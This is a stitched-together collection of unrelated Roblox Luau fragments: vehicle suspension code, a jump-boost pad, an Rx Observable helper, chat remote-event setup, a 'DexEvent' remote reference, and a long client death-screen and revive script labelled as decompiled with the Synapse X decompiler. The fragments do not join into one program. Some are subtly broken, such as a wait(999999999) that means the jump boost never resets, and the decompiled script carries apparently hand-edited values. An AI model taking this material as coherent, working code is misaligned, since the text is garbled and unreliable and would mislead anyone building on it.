local BRL = RL:Clone() BRL.Parent = suspRL BRL.Name = "RL" BRL.CanCollide = false BRL.CFrame = RL.CFrame local BRR = RR:Clone() BRR.Parent = suspRR BRR.Name = "RR" BRR.CanCollide = false BRR.CFrame = RR.CFrame local zBRL = RL:Clone() zBRL.Parent = suspRL zBRL.Name = "wRL" zBRL.CanCollide = false zBRL.CFrame = RL.CFrame local zBRR = RR:Clone() zBRR.Parent = suspRR zBRR.Name = "wRR" zBRR.CanCollide = false zBRR.CFrame = RR.CFrame
--[[Suspension]]
function Suspension() for i,v in pairs(car.Wheels:GetChildren()) do local Dist local RefP Dist = -((v["#SA"].CFrame*CFrame.new(v["#SA"].SForce.Location)):toObjectSpace((v["#SB"].CFrame*CFrame.new(v["#SB"].SForce.Location)))).y if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then local force = (_Tune.FSusStiffness*_Tune.FPreCompress + math.max(math.min((_Tune.FSusLength-Dist),_Tune.FExtensionLim),-_Tune.FCompressLim)*_Tune.FSusStiffness)*(_Tune.LegacyScaling/_Tune.WeightScaling) v["#SA"].SForce.Force = Vector3.new(math.cos(math.rad(_Tune.FSusAngle))*force,math.sin(math.rad(_Tune.FSusAngle))*force,0) v["#SB"].SForce.Force = Vector3.new(-math.cos(math.rad(_Tune.FSusAngle))*force,-math.sin(math.rad(_Tune.FSusAngle))*force,0) else local force = (_Tune.RSusStiffness*_Tune.RPreCompress + math.max(math.min((_Tune.RSusLength-Dist),_Tune.RExtensionLim),-_Tune.RCompressLim)*_Tune.RSusStiffness)*(_Tune.LegacyScaling/_Tune.WeightScaling) v["#SA"].SForce.Force = Vector3.new(math.cos(math.rad(_Tune.RSusAngle))*force,math.sin(math.rad(_Tune.RSusAngle))*force,0) v["#SB"].SForce.Force = Vector3.new(-math.cos(math.rad(_Tune.RSusAngle))*force,-math.sin(math.rad(_Tune.RSusAngle))*force,0) end end end
-- Set a variable for boosted jump power
local boostedJumpPower = 100 local function onPartTouch(otherPart) local partParent = otherPart.Parent local humanoid = partParent:FindFirstChildWhichIsA("Humanoid") if ( humanoid ) then boostPart.CanCollide = false local currentJumpPower = humanoid.JumpPower if ( currentJumpPower < boostedJumpPower ) then humanoid.JumpPower = boostedJumpPower wait(999999999) humanoid.JumpPower = currentJumpPower end end end boostPart.Touched:Connect(onPartTouch)
--local function update(player, description) -- assert(typeof(description) == "Instance" and description:IsA("HumanoidDescription"))
-- Player's gui and input service
local PlayerGui = Player:WaitForChild("PlayerGui") local UserInputService = game:GetService("UserInputService")
--[=[ Transforms the observable with the following transformers ```lua Rx.of(1, 2, 3):Pipe({ Rx.map(function(result) return result + 1 end); Rx.map(function(value) return ("%0.2f"):format(value) end); }):Subscribe(print) --> 2.00 --> 3.00 --> 4.00 ``` @param transformers { (observable: Observable<T>) -> Observable<T> } @return Observable<T> ]=]
function Observable:Pipe(transformers) assert(type(transformers) == "table", "Bad transformers") local current = self for _, transformer in pairs(transformers) do assert(type(transformer) == "function", "Bad transformer") current = transformer(current) assert(Observable.isObservable(current)) end return current end
--// All remote events will have a no-opt OnServerEvent connecdted on construction
local function CreateEventIfItDoesntExist(parentObject, objectName) local obj = CreateIfDoesntExist(parentObject, objectName, "RemoteEvent") obj.OnServerEvent:Connect(emptyFunction) return obj end CreateEventIfItDoesntExist(EventFolder, "OnNewMessage") CreateEventIfItDoesntExist(EventFolder, "OnMessageDoneFiltering") CreateEventIfItDoesntExist(EventFolder, "OnNewSystemMessage") CreateEventIfItDoesntExist(EventFolder, "OnChannelJoined") CreateEventIfItDoesntExist(EventFolder, "OnChannelLeft") CreateEventIfItDoesntExist(EventFolder, "OnMuted") CreateEventIfItDoesntExist(EventFolder, "OnUnmuted") CreateEventIfItDoesntExist(EventFolder, "OnMainChannelSet") CreateEventIfItDoesntExist(EventFolder, "ChannelNameColorUpdated") CreateEventIfItDoesntExist(EventFolder, "SayMessageRequest") CreateEventIfItDoesntExist(EventFolder, "SetBlockedUserIdsRequest") CreateIfDoesntExist(EventFolder, "GetInitDataRequest", "RemoteFunction") CreateIfDoesntExist(EventFolder, "MutePlayerRequest", "RemoteFunction") CreateIfDoesntExist(EventFolder, "UnMutePlayerRequest", "RemoteFunction") EventFolder = useEvents local function CreatePlayerSpeakerObject(playerObj) --// If a developer already created a speaker object with the --// name of a player and then a player joins and tries to --// take that name, we first need to remove the old speaker object local speaker = ChatService:GetSpeaker(playerObj.Name) if (speaker) then ChatService:RemoveSpeaker(playerObj.Name) end speaker = ChatService:InternalAddSpeakerWithPlayerObject(playerObj.Name, playerObj, false) for _, channel in pairs(ChatService:GetAutoJoinChannelList()) do speaker:JoinChannel(channel.Name) end speaker:InternalAssignEventFolder(EventFolder) speaker.ChannelJoined:connect(function(channel, welcomeMessage) local log = nil local channelNameColor = nil local channelObject = ChatService:GetChannel(channel) if (channelObject) then log = channelObject:GetHistoryLogForSpeaker(speaker) channelNameColor = channelObject.ChannelNameColor end EventFolder.OnChannelJoined:FireClient(playerObj, channel, welcomeMessage, log, channelNameColor) end) speaker.Muted:connect(function(channel, reason, length) EventFolder.OnMuted:FireClient(playerObj, channel, reason, length) end) speaker.Unmuted:connect(function(channel) EventFolder.OnUnmuted:FireClient(playerObj, channel) end) ChatService:InternalFireSpeakerAdded(speaker.Name) end EventFolder.SayMessageRequest.OnServerEvent:connect(function(playerObj, message, channel) if type(message) ~= "string" then return end if type(channel) ~= "string" then return end local speaker = ChatService:GetSpeaker(playerObj.Name) if (speaker) then return speaker:SayMessage(message, channel) end return nil end) EventFolder.MutePlayerRequest.OnServerInvoke = function(playerObj, muteSpeakerName) if type(muteSpeakerName) ~= "string" then return end local speaker = ChatService:GetSpeaker(playerObj.Name) if speaker then local muteSpeaker = ChatService:GetSpeaker(muteSpeakerName) if muteSpeaker then speaker:AddMutedSpeaker(muteSpeaker.Name) return true end end return false end EventFolder.UnMutePlayerRequest.OnServerInvoke = function(playerObj, unmuteSpeakerName) if type(unmuteSpeakerName) ~= "string" then return end local speaker = ChatService:GetSpeaker(playerObj.Name) if speaker then local unmuteSpeaker = ChatService:GetSpeaker(unmuteSpeakerName) if unmuteSpeaker then speaker:RemoveMutedSpeaker(unmuteSpeaker.Name) return true end end return false end
-- Scel :)
local RemoteEvent = game:GetService("ReplicatedStorage"):WaitForChild("DexEvent");
--[[Status Vars]]
local _IsOn = _Tune.AutoStart if _Tune.AutoStart and (_Tune.Engine or _Tune.Electric) then script.Parent.IsOn.Value=true end local _GSteerT=0 local _GSteerC=0 local _GThrot=0 local _InThrot=_Tune.IdleThrottle/100 local _TTick=tick() local _GBrake=0 local _InBrake=0 local _BTick=tick() local _ClPressing = false local _Clutch = 0 local _ClutchKick = 0 local _ClutchModulate = 0 local _RPM = 0 local _HP = 0 local _OutTorque = 0 local _CGear = 0 local _PGear = _CGear local _ShiftUp = false local _ShiftDn = false local _Shifting = false local _spLimit = 0 local _Boost = 0 local _TCount = 0 local _TPsi = 0 local _TBoost = 0 local _SCount = 0 local _SPsi = 0 local _SBoost = 0 local _NH = 0 local _NT = 0 local _EH = 0 local _ET = 0 local _TH = 0 local _TT = 0 local _SH = 0 local _ST = 0 local _BH = 0 local _BT = 0 local _TMode = _Tune.TransModes[1] local _MSteer = false local _SteerL = false local _SteerR = false local _PBrake = false local _TCS = _Tune.TCS local _TCSActive = false local _TCSAmt = 0 local _ABS = _Tune.ABS local _fABSActive = false local _rABSActive = false local _SlipCount = 0 local _ClutchSlip = false local _InControls = false bike.Body.bal.LeanGyro.D = _Tune.LeanD bike.Body.bal.LeanGyro.MaxTorque = Vector3.new(0,0,_Tune.LeanMaxTorque) bike.Body.bal.LeanGyro.P = _Tune.LeanP
------------------------------------------------------------------------ -- the following macros help to manipulate instructions -- * changed to a table object representation, very clean compared to -- the [nightmare] alternatives of using a number or a string -- * Bx is a separate element from B and C, since there is never a need -- to split Bx in the parser or code generator ------------------------------------------------------------------------
-- How much the stamina goes down every tick of holding down the sprint button
local regenTick = 0.5 -- How much the stamina goes back up every tick of not holding down the sprint button (until it hits stamPower max)
-- Roact
local new = Roact.createElement local Frame = require(UI:WaitForChild 'Frame') local ScrollingFrame = require(UI:WaitForChild 'ScrollingFrame') local ItemRow = require(script.Parent:WaitForChild 'ItemRow')
-------------------------
function onClicked() R.Function1.Disabled = true FX.CRUSH.BrickColor = BrickColor.new("Really red") FX.CRUSH.loop.Disabled = true FX.JET.BrickColor = BrickColor.new("Really red") FX.JET.loop.Disabled = true FX.LPF.BrickColor = BrickColor.new("Really red") FX.LPF.loop.Disabled = true FX.NOISE.BrickColor = BrickColor.new("Really red") FX.NOISE.loop.Disabled = true FX.ZIP.BrickColor = BrickColor.new("Really red") FX.ZIP.loop.Disabled = true R.loop.Disabled = false R.Function2.Disabled = false end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--[[** ensures Roblox Rect type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.Rect = t.typeof("Rect")
-- Decompiled with the Synapse X Luau decompiler.
local v1 = script:FindFirstAncestor("MainUI"); local l__LocalPlayer__2 = game.Players.LocalPlayer; local v3 = require(script.Parent); local l__UserInputService__4 = game:GetService("UserInputService"); local l__TweenService__5 = game:GetService("TweenService"); local l__TextService__6 = game:GetService("TextService"); local l__GuiService__7 = game:GetService("GuiService"); local l__Humanoid__8 = v3.char:WaitForChild("Humanoid"); local l__mouse__9 = l__LocalPlayer__2:GetMouse(); local v10 = { data = { Revives = 1 }, event = { Revives = Instance.new("BindableEvent") } }; local v11 = require(game:GetService("ReplicatedStorage"):WaitForChild("ClientModules"):WaitForChild("NumberConvert")); local v12 = require(game:GetService("ReplicatedStorage"):WaitForChild("ClientModules"):WaitForChild("GetProductPrice")); local v13 = require(game:GetService("ReplicatedStorage"):WaitForChild("Products")); v3.spectarget = nil; v3.dead = false; script.Ringing:Play(); local u1 = nil; game:GetService("ReplicatedStorage"):WaitForChild("Bricks"):WaitForChild("DeathHint").OnClientEvent:Connect(function(p1) if p1 then u1 = p1; end; script.Parent.Sc.Changed:Connect(function() if script.Parent.Sc.Value == true then u1 = p1; end end) end); local v14 = v1:WaitForChild("LobbyFrame"):WaitForChild("LoadingUI"):Clone(); v14.Parent = v1; game:GetService("ReplicatedStorage"):WaitForChild("Bricks"):WaitForChild("Loading").OnClientEvent:Connect(function() v14.Visible = true; l__TweenService__5:Create(v14, TweenInfo.new(1, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut), { BackgroundTransparency = 0, TextTransparency = 0 }):Play(); wait(15); l__TweenService__5:Create(v14, TweenInfo.new(1, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut), { BackgroundTransparency = 1, TextTransparency = 1 }):Play(); v14.Visible = false; end); game:GetService("ReplicatedStorage"):WaitForChild("Bricks"):WaitForChild("Statistics").OnClientEvent:Connect(function(p2) for v15, v16 in pairs(p2.Stats) do local v17 = v1.Statistics.Frame:FindFirstChild(v15); if v17 then v17.Text = v15; v17.Text = v15 .. " (" .. v16[2] .. ")"; v17.Amount.Text = "+ " .. v16[1]; v17.Visible = true; end; end; for v18, v19 in pairs(p2.Multipliers) do local v20 = v1.Statistics.Frame:FindFirstChild(v18); if v20 then if v18 == "5X BOOST ACTIVE" then v20.Text = v18; v20.Amount.Text = v19; else v20.Text = v18 .. " (" .. v19[2] .. ")"; v20.Amount.Text = "+ " .. v19[1]; end; v20.Visible = true; end; end; v1.Statistics.Knobs.Text = v11(p2.Knobs[1]); v1.Statistics.Knobs.Size = UDim2.new(0, l__TextService__6:GetTextSize(v1.Statistics.Knobs.Text, v1.Statistics.Knobs.AbsoluteSize.Y, Enum.Font.GothamBlack, v1.Statistics.Knobs.AbsoluteSize).X, 0.1, 0); v1.Statistics.Knobs.Multiplier.Text = "\195\151 " .. p2.Knobs[2] .. " ="; v1.Statistics.KnobsFinal.Text = v11(p2.Knobs[3]); local l__Extra__21 = p2.Extra; local l__GameData__22 = game.ReplicatedStorage.GameData; if l__Extra__21 and game.ReplicatedStorage.GameStats:FindFirstChild("Total") then for v23, v24 in pairs(v1.Statistics:GetChildren()) do if v24.Name == "RoomReached" then v24.Text = "Reached Door " .. l__Extra__21.Rooms; elseif v24.Name == "Death" then v24.Text = "Died to " .. l__Extra__21.DeathCause; if l__Extra__21.DeathCause == "Escaped" then v24.Visible = false; end; elseif v24.Name == "Escaped" and l__Extra__21.DeathCause == "Escaped" then v24.Visible = true; end; end; end; v1.Statistics.Visible = true; v1.Statistics.CloseButton.MouseButton1Down:Connect(function() v1.Statistics.Visible = false; if not l__UserInputService__4.GamepadEnabled then return; end; if v1.DeathPanel.Visible then l__GuiService__7.SelectedObject = v1.DeathPanel.Spectate; return; end; l__GuiService__7.SelectedObject = nil; wait(0.5); l__GuiService__7.SelectedObject = v1.DeathPanelDead.PlayAgain; end); end); local u2 = function() print("I don't exist yet! :D"); end; local u3 = 0; local u4 = 0; local u5 = nil; local u6 = game["Run Service"]; function v3.spectate(p3) local l__DeathPanel__25 = v1.DeathPanel; local l__DeathPanelDead__26 = v1.DeathPanelDead; l__DeathPanel__25.Visible = true; v1.MainFrame.Visible = false; l__TweenService__5:Create(l__DeathPanel__25, TweenInfo.new(1.5, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { Position = UDim2.new(0.5, 0, 0.87, 0) }):Play(); l__TweenService__5:Create(l__DeathPanelDead__26, TweenInfo.new(1.5, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { Position = UDim2.new(0.5, 0, 0.87, 0) }):Play(); game.ReplicatedStorage.Bricks.Statistics:FireServer(); if p3 then v3.dead = true; v1.MainFrame.Visible = false; end; local u7 = false; local u8 = nil; u2 = function(p4) if not p4 then p4 = 1; end; local v27 = {}; for v28, v29 in pairs(game.Players:GetChildren()) do if v29 and v29.Character and (v29.Character:FindFirstChild("Humanoid") and v29.Character.Humanoid.Health > 0.1) then table.insert(v27, v29); end; end; u3 = #v27; u4 = u4 + p4; if v27[u4] ~= nil then u5 = v27[u4]; l__DeathPanel__25.Spectate.Text = u5.DisplayName; elseif v27[u4] == nil and #v27 >= 1 then u4 = 1; u5 = v27[u4]; l__DeathPanel__25.Spectate.Text = u5.DisplayName; else l__DeathPanel__25.Spectate.Text = "everybody died OMEGALUL"; l__DeathPanel__25.Visible = false; l__DeathPanelDead__26.Visible = true; if l__UserInputService__4.GamepadEnabled then delay(0.5, function() l__GuiService__7.SelectedObject = v1.DeathPanelDead.PlayAgain; end); end; u7 = true; pcall(function() u8:Disconnect(); end); for v30, v31 in pairs(l__DeathPanelDead__26.PlayAgain.Players:GetChildren()) do if v31:IsA("ImageLabel") and v31.Visible then v31:Destroy(); end; end; for v32, v33 in pairs(game.Players:GetChildren()) do local v34 = l__DeathPanelDead__26.PlayAgain.Players.Template:Clone(); v34.Name = v33.Name; v34.Image = game.Players:GetUserThumbnailAsync(v33.UserId, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size48x48); v34.Visible = true; v34.Parent = l__DeathPanelDead__26.PlayAgain.Players; local u9 = false; task.spawn(function() for v35 = 1, 100000 do task.wait(0.2); if v34 and v34.Parent == l__DeathPanelDead__26.PlayAgain.Players and v33 and v33.Parent == game.Players then v34.Ready.Visible = v33:GetAttribute("Ready") or false; v34.Revived.Visible = v33:GetAttribute("Alive") or false; else v34.Disconnected.Visible = true; end; if v33:GetAttribute("Alive") and not u9 then u9 = true; l__DeathPanelDead__26.Spectate.Visible = true; l__DeathPanelDead__26.Leave.Visible = false; end; end; end); end; for v36 = 1, 2000 do wait(0.1); l__DeathPanelDead__26.PlayAgain.Timer.Text = game.ReplicatedStorage.GameData.PlayAgainText.Value; end; end; v3.spectarget = u5; end; l__DeathPanel__25.Spectate.MouseButton1Down:Connect(function() local v37 = 1; if l__mouse__9.X < v1.AbsoluteSize.X / 2 then v37 = -1; end; u2(v37); end); l__DeathPanel__25.Stats.MouseButton1Down:Connect(function() v1.Statistics.Visible = not v1.Statistics.Visible; end); l__DeathPanelDead__26.Stats.MouseButton1Down:Connect(function() v1.Statistics.Visible = not v1.Statistics.Visible; end); local u10 = false; local function u11() if u10 == false then u10 = true; if math.random(1, 8000) == 5 then script.Leave:Play(); v1.Drip.Visible = true; v1.Drip.ImageTransparency = 0; l__TweenService__5:Create(v1.Drip, TweenInfo.new(2, Enum.EasingStyle.Quad, Enum.EasingDirection.In), { ImageTransparency = 1 }):Play(); end; game.ReplicatedStorage.Bricks.Lobby:FireServer(); end; end; l__DeathPanel__25.Leave.MouseButton1Down:Connect(function() u11(); end); l__DeathPanelDead__26.Leave.MouseButton1Down:Connect(function() u11(); end); l__DeathPanelDead__26.PlayAgain.MouseButton1Down:Connect(function() game.ReplicatedStorage.Bricks.PlayAgain:FireServer(); end); l__DeathPanelDead__26.Spectate.MouseButton1Down:Connect(function() for v38, v39 in pairs(game.Players:GetChildren()) do if v39:GetAttribute("Alive") then u5 = nil; l__DeathPanel__25.Visible = true; l__DeathPanelDead__26.Visible = false; l__DeathPanelDead__26.Spectate.Visible = false; l__DeathPanelDead__26.PlayAgain.Visible = false; u7 = false; u8 = u6.Heartbeat:Connect(function() if u5 and u5:IsA("Player") and u5.Character and u5.Character:FindFirstChild("Humanoid") and u5.Character:FindFirstChild("Humanoid").Health > 0.01 then return; end; u2(); end); return; end; end; end); v1.LeaveFull.MouseButton1Down:Connect(function() u11(); end); u2(); u8 = u6.Heartbeat:Connect(function() if u5 and u5:IsA("Player") and u5.Character and u5.Character:FindFirstChild("Humanoid") and u5.Character:FindFirstChild("Humanoid").Health > 0.01 then return; end; u2(); end); end; local u12 = l__Humanoid__8.Health; local l__Healthbar__13 = v1.MainFrame.Healthbar; local u14 = false; local u15 = false; l__Humanoid__8.HealthChanged:connect(function(p5) if p5 < u12 then local v40 = u12 - p5; local v41 = 1 + v40 / 10 + (l__Humanoid__8.MaxHealth - l__Humanoid__8.Health) / l__Humanoid__8.MaxHealth * 5; v3.spring:Impulse(Vector3.new(math.random(-v40, v40) * 2, v40 * 3, math.random(-v40, v40) * 2)); local v42 = v1.DamageVignette:Clone(); v42.Name = "lvignette"; v42.Visible = true; v42.ImageTransparency = 1 - v40 / 30; v42.Parent = v1; v42:TweenSize(UDim2.new(1, 1000, 1, 1000), "In", "Quart", v40 / 50); game.Debris:AddItem(v42, v40 / 40); if v1:FindFirstChild("LongVignette") then v1:FindFirstChild("LongVignette"):Destroy(); end; local v43 = v1.DamageVignette:Clone(); v43.Name = "LongVignette"; v43.Visible = true; v43.ImageTransparency = math.clamp(1 - v40 / 50 - v41 / 10, 0.5, 1); v43.Parent = v1; v43:TweenSize(UDim2.new(1, 1000, 1, 1000), "In", "Quart", v41 + 0.5); game.Debris:AddItem(v43, v41 + 0.5); script.Hit.Pitch = 2 - v40 / 100; script.Hit:Play(); script.Ringing.Volume = math.clamp(script.Ringing.Volume / 2 + v40 / 50 + (l__Humanoid__8.MaxHealth - l__Humanoid__8.Health) / l__Humanoid__8.MaxHealth / 2, 0.1, 0.3); l__TweenService__5:Create(script.Ringing, TweenInfo.new(v41, Enum.EasingStyle.Quad, Enum.EasingDirection.In), { Volume = 0 }):Play(); v1.Event_Stress:Fire(math.clamp(v40 * 5, 10, 100)); end; u12 = p5; if l__Humanoid__8.MaxHealth <= p5 then l__Healthbar__13.Visible = false; else l__Healthbar__13.Visible = true; l__Healthbar__13.Bar.Bar:TweenSize(UDim2.new(l__Humanoid__8.Health / l__Humanoid__8.MaxHealth, 0, 1, 0), "Out", "Quart", 0.4, true); l__Healthbar__13.Bar.HurtBar:TweenSize(UDim2.new(l__Humanoid__8.Health / l__Humanoid__8.MaxHealth, 0, 1, 0), "In", "Quart", 1, true); end; if p5 <= 0.001 and v3.dead == false and u14 == false then script.Ringing:Stop(); u14 = true; wait(0.2); l__UserInputService__4.InputBegan:Connect(function(p6, p7) if p6.UserInputType == Enum.UserInputType.MouseButton1 or p6.UserInputType == Enum.UserInputType.Touch then if p7 then return; else u15 = true; return; end; end; if p6.KeyCode == Enum.KeyCode.ButtonB or p6.KeyCode == Enum.KeyCode.ButtonA or p6.KeyCode == Enum.KeyCode.ButtonX then u15 = true; return; end; if p6.KeyCode == Enum.KeyCode.ButtonL1 or p6.KeyCode == Enum.KeyCode.Q then u2(-1); return; end; if p6.KeyCode == Enum.KeyCode.ButtonR2 or p6.KeyCode == Enum.KeyCode.E then u2(1); end; end); for v44 = 1, math.huge do u6.Heartbeat:wait(); if v3.deathtick <= tick() then local l__Revive__45 = v1.HodlerRevive.Revive; v1.HodlerRevive.Visible = true; if v10 and v10.data then local l__ChaseInSession__16 = game:GetService("ReplicatedStorage"):WaitForChild("GameData"):WaitForChild("ChaseInSession"); local u17 = 999999999; local l__ReviveEmpty__18 = v1.HodlerRevive.ReviveEmpty; local function v46() local l__Revives__47 = v10.data.Revives; l__Revive__45.AmountLabel.Text = "x" .. tostring(l__Revives__47); if l__Revives__47 == 0 then l__Revive__45.AmountLabel.Visible = false; else l__Revive__45.AmountLabel.Visible = true; end; l__Revive__45.RobuxLabel.Text = v12(v13.Revive1); l__Revive__45.RobuxLabel.Visible = not l__Revive__45.AmountLabel.Visible; if not (not l__ChaseInSession__16.Value) or u17 <= 0 or l__LocalPlayer__2:GetAttribute("CantRevive") then l__Revive__45.Visible = false; else l__Revive__45.Visible = true; end; l__ReviveEmpty__18.Visible = not l__Revive__45.Visible; if game:GetService("ReplicatedStorage"):WaitForChild("GameData"):WaitForChild("LatestRoom").Value >= 100 then l__ReviveEmpty__18.ReasonLabel.Text = "You cannot revive past this point."; end; if u17 <= 0 then l__ReviveEmpty__18.ReasonLabel.Text = "Your time to revive ran out."; end; if l__LocalPlayer__2:GetAttribute("CantRevive") then l__ReviveEmpty__18.ReasonLabel.Text = "You can only revive in a run once."; end; end; v46(); v10.event.Revives.Event:Connect(v46); l__ChaseInSession__16.Changed:Connect(v46); l__Revive__45.MouseButton1Down:Connect(function() if not l__ChaseInSession__16.Value and u17 > 0 then game.ReplicatedStorage["Character Load"]:FireServer() end; end); local numbar = 25 spawn(function() for v48 = 1, 25 do wait(1); if not game:GetService("ReplicatedStorage"):WaitForChild("GameData"):WaitForChild("ChaseInSession").Value then numbar = numbar - 1; end; l__Revive__45.TimerLabel.Text = numbar; v46(); if numbar <= 0 then break; end; end; end); end; l__TweenService__5:Create(game.SoundService.Main, TweenInfo.new(1, Enum.EasingStyle.Quart, Enum.EasingDirection.Out), { Volume = 0 }):Play(); script.Death:Play(); local l__Death__19 = v1.Death; spawn(function() local v49 = tick(); for v50 = 1, math.huge do local v51 = math.clamp(v49 + 1.5 - tick(), 0, 1.5); local v52 = math.clamp(v49 + 3 - tick(), 0, 3); l__Death__19.Static.Position = UDim2.new(math.random(0, 100) / 100, 0, math.random(0, 100) / 100, 0); l__Death__19.Hodler.Position = UDim2.new(0.5 + math.random(-10, 10) / 500 * v51, 0, 0.5 + math.random(-10, 10) / 400 * v51, 0); l__Death__19.Hodler.Rotation = math.random(-v51 * 6, v51 * 6); l__Revive__45.Position = UDim2.new(0.5 + math.random(-10, 10) / 200 * v52, 0, 0.5 + math.random(-10, 10) / 140 * v52, 0); l__Revive__45.Rotation = math.random(-v52 * 4, v52 * 4); u6.Heartbeat:wait(); if v49 + 3 <= tick() then if u1 == nil then break; end; if u1 == {} then break; end; end; end; end); l__Death__19.Visible = true; l__TweenService__5:Create(l__Death__19, TweenInfo.new(0.45, Enum.EasingStyle.Elastic, Enum.EasingDirection.In), { ImageTransparency = 0 }):Play(); l__Death__19.Hodler.Label.Visible = true; l__TweenService__5:Create(l__Death__19.Hodler.Label, TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.In), { ImageTransparency = 0, Size = UDim2.new(0.5, 0, 0.5, 0), Position = UDim2.new(0.5, 0, 0.5, 0) }):Play(); v3.dead = true; wait(0.5); pcall(function() v1.MainFrame.Visible = false; v1.Jumpscare_Hide.Visible = false; v1.HideVignette.Visible = false; v1.DamageVignette.Visible = false; v1.SanityVignette.Visible = false; end); l__TweenService__5:Create(l__Death__19, TweenInfo.new(1, Enum.EasingStyle.Quart, Enum.EasingDirection.Out), { ImageTransparency = 0, ImageColor3 = Color3.fromRGB(0, 0, 0) }):Play(); l__TweenService__5:Create(l__Death__19.Hodler.Label, TweenInfo.new(1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { Size = UDim2.new(0.525, 0, 0.525, 0) }):Play(); if u1 ~= nil then script.Music:Play(); l__TweenService__5:Create(l__Death__19.Static, TweenInfo.new(4, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), { BackgroundColor3 = game.ReplicatedStorage.baklor.Value, BackgroundTransparency = 0 }):Play(); l__TweenService__5:Create(l__Death__19.Static, TweenInfo.new(4, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), { ImageTransparency = 0.8, ImageColor3 = game.ReplicatedStorage["4Color"].Value }):Play(); l__TweenService__5:Create(l__Death__19.Static.Static, TweenInfo.new(4, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), { ImageTransparency = 0.8, ImageColor3 = game.ReplicatedStorage["4Color"].Value }):Play(); l__TweenService__5:Create(l__Death__19, TweenInfo.new(4, Enum.EasingStyle.Quart, Enum.EasingDirection.Out), { ImageTransparency = 0, ImageColor3 = Color3.fromRGB(4, 16, 30) }):Play(); l__TweenService__5:Create(l__Death__19.Hodler.Label, TweenInfo.new(4, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), { ImageTransparency = 1, ImageColor3 = game.ReplicatedStorage["2Color"].Value }):Play(); l__TweenService__5:Create(l__Death__19.Hodler.Label.Label, TweenInfo.new(1, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), { ImageTransparency = 0, ImageColor3 = game.ReplicatedStorage["3Color"].Value }):Play(); wait(1); l__TweenService__5:Create(l__Death__19.Hodler.Label.Label, TweenInfo.new(1, Enum.EasingStyle.Quart, Enum.EasingDirection.In), { ImageTransparency = 1, ImageColor3 = game.ReplicatedStorage["4Color"].Value }):Play(); l__TweenService__5:Create(l__Death__19.HelpfulDialogue, TweenInfo.new(1, Enum.EasingStyle.Quart, Enum.EasingDirection.In), { TextColor3 = game.ReplicatedStorage.TextColooor.Value }):Play(); wait(0.5); l__TweenService__5:Create(l__Death__19.Hodler.Label, TweenInfo.new(2, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut), { Size = UDim2.new(3, 0, 3, 0) }):Play(); l__Death__19.HelpfulDialogue.TextTransparency = 1; l__Death__19.HelpfulDialogue.Visible = true; local v53 = v3.camShakerModule.new(200, function(p8) local l__Position__54 = p8.Position; l__Death__19.HelpfulDialogue.Position = UDim2.new(0.5 + l__Position__54.X / 10, 0, 0.5 + l__Position__54.Y / 10, 0); l__Death__19.HelpfulDialogue.Rotation = l__Position__54.X * 5; end); v53:Start(); v53:StartShake(0.1, 0.5, 1, Vector3.new(1, 1, 1)); v53:StartShake(0.5, 0.25, 1, Vector3.new(1, 1, 1)); v53:StartShake(1, 0.05, 1, Vector3.new(1, 1, 1)); u15 = false; wait(1); for v55 = 1, #u1 do l__Death__19.HelpfulDialogue.Text = u1[v55]; if u15 then l__Death__19.HelpfulDialogue.TextTransparency = 0; else l__TweenService__5:Create(l__Death__19.HelpfulDialogue, TweenInfo.new(0.5, Enum.EasingStyle.Quart, Enum.EasingDirection.Out), { TextTransparency = 0 }):Play(); end; local v56 = tick(); local v57 = tick() + 5 + utf8.len(l__Death__19.HelpfulDialogue.ContentText) / 30; if v55 == 1 or not u15 then wait(0.5); else wait(0.1); end; u15 = false; for v58 = 1, 10000000000000 do task.wait(); if v57 <= tick() then break; end; if u15 then break; end; end; local v59 = 0.4; if u15 then v59 = 0.25; end; l__TweenService__5:Create(l__Death__19.HelpfulDialogue, TweenInfo.new(v59, Enum.EasingStyle.Quart, Enum.EasingDirection.In), { TextTransparency = 1 }):Play(); wait(v59 + 0.01); end; l__TweenService__5:Create(script.Music, TweenInfo.new(0.5, Enum.EasingStyle.Quart, Enum.EasingDirection.Out), { Volume = 0 }):Play(); l__TweenService__5:Create(script.MusicEnd, TweenInfo.new(0.5, Enum.EasingStyle.Quart, Enum.EasingDirection.Out), { Volume = 4 }):Play(); script.MusicEnd:Play(); else wait(2); end; l__TweenService__5:Create(v1.HodlerRevive, TweenInfo.new(1, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), { Position = UDim2.new(0.5, 0, 0.17, 0) }):Play(); l__TweenService__5:Create(l__Death__19.Static, TweenInfo.new(2, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), { ImageTransparency = 1, ImageColor3 = Color3.fromRGB(226, 42, 67), BackgroundTransparency = 1 }):Play(); l__TweenService__5:Create(l__Death__19, TweenInfo.new(2, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), { ImageTransparency = 1, ImageColor3 = Color3.fromRGB(89, 0, 1) }):Play(); l__TweenService__5:Create(l__Death__19.Static.Static, TweenInfo.new(2, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), { ImageTransparency = 1, ImageColor3 = Color3.fromRGB(255, 0, 4) }):Play(); l__TweenService__5:Create(game.SoundService.Main, TweenInfo.new(3, Enum.EasingStyle.Exponential, Enum.EasingDirection.In), { Volume = 1 }):Play(); l__TweenService__5:Create(l__Death__19.Hodler.Label, TweenInfo.new(2, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), { ImageTransparency = 1, ImageColor3 = Color3.fromRGB(218, 121, 126), Size = UDim2.new(0.6, 0, 0.6, 0) }):Play(); l__TweenService__5:Create(l__Death__19.Hodler.Label.Label, TweenInfo.new(3, Enum.EasingStyle.Exponential, Enum.EasingDirection.In), { ImageTransparency = 1, ImageColor3 = Color3.fromRGB(97, 0, 1) }):Play(); wait(1); 